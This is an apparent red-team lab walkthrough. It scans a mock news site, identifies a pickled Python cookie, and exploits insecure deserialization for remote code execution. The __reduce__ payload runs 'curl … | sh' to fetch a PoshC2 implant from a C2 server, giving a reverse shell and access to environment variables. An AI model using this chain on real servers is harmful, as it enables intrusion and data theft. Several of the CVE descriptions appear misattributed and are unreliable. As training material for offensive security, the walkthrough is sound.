Stack walkthrough: Drive-by Compromise

Stack walkthrough: Drive-by Compromise

Introduction

A software system is always vulnerable to cyber-attacks because it is built on complex code and architecture that can contain flaws and vulnerabilities.

Even with rigorous testing and security measures, it is impossible to eliminate all potential vulnerabilities, and attackers are constantly finding new ways to exploit weaknesses in software systems.

Additionally, software systems are often connected to networks and other systems, which can provide attackers with new entry points and opportunities for attack. As software systems become more integrated and interconnected, the attack surface also grows, increasing the likelihood of successful cyber attacks.

We will be exploiting a public facing service and perform a Watering Hole attack (MITRE) to steal the user’s sensitive information and also distribute a ExRAT malware through the web browser.

Prerequisites

All links and services mentioned in the article are with respect to the Drive-by Compromise Stack.

The Victim

Story: You are a red team leader and are as usual helping your organisation harden its security by compromising* it.

A public-facing application/service is a resource/service where its interface is intended to be used by a user or another service via the public internet. Let's name our victim organisation as Foo Org.

Foo Org is an online news organisation which is incredibly popular and is read by most of the people on the Internet. About Foo Org:

Website URL: s-01hbk33qvd2qvxk2afhtb1v2wa-web-server-svc
CEO: Some Executive
Head Quarters: Street-1, City-1, 000000
Your first step is to explore Foo Org's website and understand the working model of the website.

Open Firefox web browser in the attack box Enter the URL http://s-01hbk33qvd2qvxk2afhtb1v2wa-web-server-svc in the address bar and hit enter.

Vulnerability scanning

We will be using open-source vulnerability scanning tools to crawl and detect general vulnerabilities in the victim website. Wapiti is a well-known vulnerability scanning tool and is available for Kali distribution. Wapiti is pre-installed on your environment’s desktop box. Given a target(URL/host), It works by sending a series of carefully crafted HTTP requests to the target web application and analysing the responses it receives. Here are the basic steps that Wapiti takes to scan a web application:

  • Discovery: Wapiti first identifies all the pages and directories on the target web application by performing a “spidering” or “crawling” process. It follows all the links it finds and tries to identify any input fields or parameters that can be tested.

  • Testing: Wapiti then sends a series of specially crafted HTTP requests to the web application to test for various types of vulnerabilities, such as SQLI, XSS, file inclusion, and others. Wapiti uses different testing techniques depending on the vulnerability it is trying to detect.

  • Analysis: Wapiti analyses the responses it receives from the web application to determine whether a vulnerability has been found. It looks for indicators such as error messages, unusual or unexpected behaviour, or other anomalies that may suggest a vulnerability.

  • Reporting: Finally, Wapiti generates a report that summarizes the results of the scan, including any vulnerabilities that were found, their severity level, and recommendations for remediation.

Wapiti

  1. First, let's start a scan from the home page: wapiti -u http://s-01hbk33qvd2qvxk2afhtb1v2wa-web-server-svc -v 2 This will scan all the URLs recursively starting from the root URL path “/”. Note: The scan will take some time to complete. We have saved the final report of the scan at /root/Desktop/wapiti-report-main/index.html, so you can skip waiting for the scan to complete.

  2. When the Wapiti scanning is completed, the report of the detected vulnerabilities is saved in: /root/.wapiti/generated_report/<unique-report-name> Open the report file in the web browser.URL: file://<absolute-path-of-report-file>

  3. Take a look into the vulnerabilities detected by Wapiti and try to see if you can come up with any way to weaponise them.

Vulnerability Assessment

Wapiti lists a few mild vulnerabilities such as “Secure Flag Cookie” and “HTTP Flag Cookie”. HTTP and Secure flags on server-set cookies help protect the cookies on the client side. You can read more about these at MDN docs (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) These vulnerabilities are not very helpful for us in the current context but can be exploited in attacks such as DNS-Rebinding. We can use Nmap and other network scanning tools to further identify any vulnerabilities(if there are any).

Start Nmap scan: nmap -V -A web-server-svc-u1 Nmap scan gives us a little more info on the website's network and server The IP of the web-server: 10.244.120.64 Likely OS of the web-server: Linux

We now have the following info on the web server: The website is using Uvicorn as an application server or web server(info from HTTP cookies) The OS of the web server is mostly Linux. IP and port(we already know this) of the website.

Not Enough!

What we could find out using Wapiti and Nmap is fine but we can do more. It should be noted that we only used a few tools for vulnerability scans and there are many alternative and more intense tools which can give better reports. Let's take the detection into our own hands and check a few things manually. We can start by observing the network activity of all the HTTP requests. We will be using the Firefox Devtools to monitor the HTTP requests and responses.

  1. Open the website on the Firefox web browser and open the tab’s dev tools section using the “inspect” option available after right click.

  2. Select the “Network” section and make sure the current session is recording.

On the “/review/” page and after submitting a review, we can see a new cookie named “user_state” set by the server. It is interesting as this is not set or referenced on other pages such as “/”, “/accounts/signup/” or “/post/..”. Cookie: user_state=KGxwMAp............................mEU We can check if this is an encrypted or any encoded string.

  1. To see if the string is base64 encoded, use hurl tool in Kali Linux: hURL -b "cookie-value"

  2. The output is (lp0\nF1677773669.3414955\na.

It looks like the cookie value is base64 encoded string. Let's dig deep.

Analysis — Part 1

To further examine the structure and characteristics of the string in question, here are a few examples of techniques :

  1. Frequency analysis: One common technique for analysing encrypted strings is frequency analysis. By examining the distribution of characters or character pairs in the string, you may be able to identify patterns or characteristics that are indicative of certain types of encryption, such as substitution cyphers or transposition cyphers.

  2. Brute-force decryption: If you have access to the key or password used to encrypt the string, you may be able to use a brute-force decryption tool to try a range of possible keys and see if any produce intelligible output.

  3. Signature analysis: Many encryption and encoding algorithms leave characteristic signatures or “fingerprints” in the output. By examining the output for specific patterns or characteristics, you may be able to identify the type of encryption or encoding used. For example, certain types of compression or encoding may produce repeated sequences of characters or specific punctuation marks.

  4. Contextual analysis: Depending on the context in which the string was discovered, you may be able to infer the type of encryption or encoding used based on known characteristics of that context. For example, if the string was discovered in a database or on a server, you may be able to infer the encryption or encoding used based on the known encryption algorithms and protocols used by that system.

Analysis — Part 2

(lp0\nF1677773669.3414955\na.

Based on the frequency of the characters, the string does not look like an encrypted string so we can rule out encryption. The string contains the number 1677773669.3414955 in it. If you have an idea of how timestamps look, you will quickly identify this number as a Unix timestamp. You can read more about Unix timestamps at https://www.unixtimestamp.com/

We are now starting to suspect that this string might be serialised data. The string starts with the prefix (lp which means it is a Python serialized object. If you try submitting the review form (“/review/” page) again, you can see that the string is updated.

(lp0\nF1677773669.3414955\naF1677786924.6921017\na.

We can see that the string now has two Unix timestamps of the date and time of the review submission. The string has a prefix “(lp” which represents a Python serialised object.

Taking into account the web server info we found using automated vulnerability scans, Uvicorn(Python) + Linux + Unix timestamps + Python serialisation, it looks like the string is a Pickled representation of a Python object.

Run(in python shell):

import pickle
pickle.loads("(lp0\nF1677773669.3414955\na.".encode("utf-8"));"

Output: [1677773669.3414955]

It is now confirmed that the value of the cookie “user_state” is a base64 encoded, pickled Python list of Unix timestamps.

Pickling

The pickle module implements binary protocols for serializing and de-serializing a Python object structure. Pickling is the process whereby a Python object hierarchy is converted into a byte stream, and Unpickling is the inverse operation, whereby a byte stream (from a binary file or bytes-like object) is converted back into an object hierarchy. Pickling (and unpickling) is alternatively known as serialization, marshalling or flattening.

The Pickle module in Python uses the __reduce__ method to reconstruct a pickled object(unpickle) as some objects can not be unpickled automatically using pickle.loads. The __reduce__ methods takes in no arguments and returns a string or tuple (object, state). You can read more about [__reduce__](https://docs.python.org/3/library/pickle.html#object.__reduce__) . In our case a Python list: [1677773669.3414955] was pickled and stored in the cookies to track the user’s review activity.

Example:

x = [1677773669.3414955]
pickled_x = pickle.dumps(x, protocol=0).decode('utf-8')
unpickled_x = pickle.loads(pickled_x, protocol=0).decode('utf-8')

Lets see how this is a vulnerability for Foo Org’s website.

The Vulnerability

The above Class is a simple example where the shell command ls -l is executed when the pickled object of that class(payload) is deserialized using pickle.loads.

un_pickled = pickle.loads(payload.encode("utf-8"))

When the serialised string payload is un pickled;

  1. Pickle will look for __reduce__ method before trying to deserialize automatically.

  2. The __reduce__ method tells Pickle to reconstruct the Python object from the tuple (os.system, (‘ls -l’)) a. Here the first item of the tuple os.system is callable to create the initial version of the object. OS is a Python module to interact with the operating system. Read more at os.system b. The second item of the tuple is a tuple of arguments to be given to the callable(first item). Here we want to give ls -l as an argument to the os.system callable. c. We can also provide a third item which will be a dictionary of the initial state of the object. (optional)

Past attacks

Python pickle attacks, also known as deserialization vulnerabilities, are a type of security vulnerability that can occur when untrusted data is deserialized by a Python application using the pickle module.

The pickle module is a powerful and convenient tool for serializing and deserializing Python objects. However, it can be risky to deserialize untrusted data using pickle, as an attacker may be able to craft malicious pickle payloads that can execute arbitrary code on the target system.

In recent years, there have been several high-profile attacks involving Python pickle. Some notable examples include:

  1. CVE-2013–4238: In 2013, a vulnerability was discovered in the Python SimpleJSON library that allowed attackers to execute arbitrary code by exploiting a deserialization vulnerability in the way that SimpleJSON parsed JSON data.

  2. CVE-2014–1932: In 2014, a vulnerability was discovered in the Python Django web framework that allowed attackers to execute arbitrary code by exploiting a deserialization vulnerability in the way that Django used pickle to serialize and deserialize session data.

  3. CVE-2016–5636: In 2016, a vulnerability was discovered in the Python Requests library that allowed attackers to execute arbitrary code by exploiting a deserialization vulnerability in the way that Requests parsed JSON data.

  4. CVE-2017–18342: In 2017, a vulnerability was discovered in the Python Twisted library that allowed attackers to execute arbitrary code by exploiting a deserialization vulnerability in the way that Twisted parsed data

Exploit Breakdown

Let's create a payload which we will assign it the “user_state” cookie which then will be deserialized by the web application and lead to an RCE on the server.

  1. The class Exploit will be used for the deserialization of RCE.

  2. The __reduce__ method returns a tuple ; (os.system, (curl -sS <shell-script-hosted-on-remote-server-url> | sh &”, )) a. os.system means the callable to initialise the object which is os.system. b. () is the tuple of arguments for initializing the object. Here Exploit class is initialized without any arguments.

  3. We execute a shell command using os.system
    ”curl -sS <shell-script-hosted-on-remote-server-url> | sh &”
    curl -sS <url> fetches output of a the <url> using the HTTP client Curl. Note: We will discuss next the right value and why should we delegate the RCE commands to an external script. b. | sh command will execute the content of the fetched <url> output. c. & will send the command execution to a background process(forked child process) so that the web server does not have to wait for our RCE to complete, to send out the HTTP response.

C2 Server

We will discuss the URL we left out in the previous section. A command and control (C2) server is a type of server used by attackers to manage compromised computers or devices in a botnet or other types of malicious network. The C2 server can also collect information about the compromised devices and their network environment, which can help the attackers identify new targets or launch more sophisticated attacks.

You have a C2 server in your environment. Use SSH to connect to the C2 server. Start a SSH connection:

ssh root@s-01hbk33qvd2qvxk2afhtb1v2wa-poshc2-svc

Enter password in the password prompt.

PoshC2 is a post-exploitation framework, designed to facilitate red team operations and enable advanced persistent threat (APT) simulations. It provides a modular and extensible framework for managing compromised endpoints and conducting lateral movement within a network.

PochC2 is already installed on your C2 server. Follow the below instructions to setup a project.

Create a project named “project-one” using the command:

posh-project -n project-1

Configure the project using the command:

posh-config

  1. Get ip address using the command hostname -I

  2. Replace Bindport value to 8080

  3. Replace PayloadCommsHost to http://<ip>:8080

  4. Run posh-server to start the Poshc2 server which listens on the above PayloadCommsHost.

PoshC2

In PoshC2, an implant refers to the payload or agent that is delivered to and installed on a compromised endpoint. The implant is a small piece of code that is designed to communicate with the PoshC2 server and provide the attacker with persistent access and control over the compromised system.

PoshC2 configures and creates all implants and saves to /var/poshc2/project-one/payloads/ directory. The implant py_dropper.py is our file of interest. We need to host the implant /var/poshc2/project-one/payloads/py_dropper.py so that we can download it on the web server through RCE. Note: This only works with servers which are either connected to a public network or to a private network with a NAT router.

Create a new terminal and host the /var/poshc2/project-one/payloads/ directory using a simple HTTP server;

python3 -m http.server --directory /var/poshc2/project-one/payloads 8082

Note: make sure you use the 8082 port. We will use this URL in our exploit payload, to download and register the implant on the web server.

Let's start the initial access.

Initial Access

First, update the Exploit class by replacing the <url> placeholder with the C2 server implant host URL; http://<c2-server-ip>:8082/py_dropper.py

Create a Python script which outputs the payload to be used.

  1. Pickle the Exploit class object

  2. Encode the pickled data with base64 as the “user_state” cookie data is base64 encoded.

We can update the “user_state” cookie value to the payload in the browser and submit the review form again or use CURL to do this.

  1. Open the network monitor and submit a review form. Right-click on the HTTP request and select copy as curl option to copy the review submission request as a CURL request.

  2. Paste the copied CURL request on the terminal and edit the value of user_state in the header Cookie, to the payload string we generated.

  3. Remove any other unnecessary headers and run the command. Example:

If all goes well, you should see an output like below in your “posh-server” terminal.

Reverse Shell

Open a new terminal in your C2 server and run “posh”. This will ask a username(root) and then the implant you want to reverse shell for.

  1. Run ls / in the posh shell and hit enter.

  2. Go to the “posh-server” terminal and you can see the output of the command you entered in the posh shell terminal.

Now you are inside the web server and you need to explore and see how well you can utilise the infiltration.

  1. Get the environment variables.

  2. Look into the web application’s code.

  3. Look for anything that helps you exploit further.

Let us know if you are interested in the post-exploitation guide as well! we will share it with you.